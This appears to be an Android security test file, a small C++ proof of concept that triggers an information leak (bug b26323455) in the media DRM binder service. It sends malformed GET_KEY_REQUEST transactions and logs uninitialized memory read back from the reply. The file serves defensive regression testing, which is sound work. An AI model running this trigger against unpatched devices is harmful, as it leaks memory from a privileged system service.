1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <android/log.h>
17 #include <arpa/inet.h>
18 #include <binder/IServiceManager.h>
19 #include <binder/Parcel.h>
20 #include <binder/ProcessState.h>
21 #include <binder/TextOutput.h>
22 #include <drm/DrmConstraints.h>
23 #include <drm/DrmConvertedStatus.h>
24 #include <drm/DrmInfo.h>
25 #include <drm/DrmInfoRequest.h>
26 #include <drm/DrmInfoStatus.h>
27 #include <drm/DrmMetadata.h>
28 #include <drm/DrmRights.h>
29 #include <drm/DrmSupportInfo.h>
30 #include <fcntl.h>
31 #include <media/ICrypto.h>
32 #include <media/IDrm.h>
33 #include <media/IMediaPlayer.h>
34 #include <media/IMediaPlayerClient.h>
35 #include <media/IMediaPlayerService.h>
36 #include <sys/stat.h>
37 #include <sys/types.h>
38 #include <sys/wait.h>
39
40 using namespace android;
41
42 int INFO_LEAK_BUFFER_SIZE = 256;
43
doInforLeakTest()44 int doInforLeakTest() {
45 sp<IServiceManager> sm = defaultServiceManager();
46 sp<IBinder> mediaPlayerSevice = sm->checkService(String16("media.player"));
47
48 sp<IMediaPlayerService> iMediaPlayerService =
49 IMediaPlayerService::asInterface(mediaPlayerSevice);
50
51 Parcel data, reply;
52 data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor());
53 IMediaPlayerService::asBinder(iMediaPlayerService)
54 ->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch)
55 sp<IDrm> iDrm = interface_cast<IDrm>(reply.readStrongBinder());
56
57 Parcel data2, reply2;
58 data2.writeInterfaceToken(iDrm->getInterfaceDescriptor());
59 IDrm::asBinder(iDrm)->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
60 reply2.readInt32();
61 reply2.readInt32();
62 unsigned int leaked = reply2.readInt32();
63
64 ALOGE("leaked data: 0x%08x", leaked);
65
66 return (leaked == 0 ? 0 : 1);
67 }
68
main(void)69 int main(void) {
70 int leaked = 0;
71 for (int i = 0; i < 20; i++) {
72 leaked = doInforLeakTest();
73 if (leaked) {
74 ALOGE("IOMX_InfoLeak b26323455");
75 break;
76 }
77 }
78 return 0;
79 }
80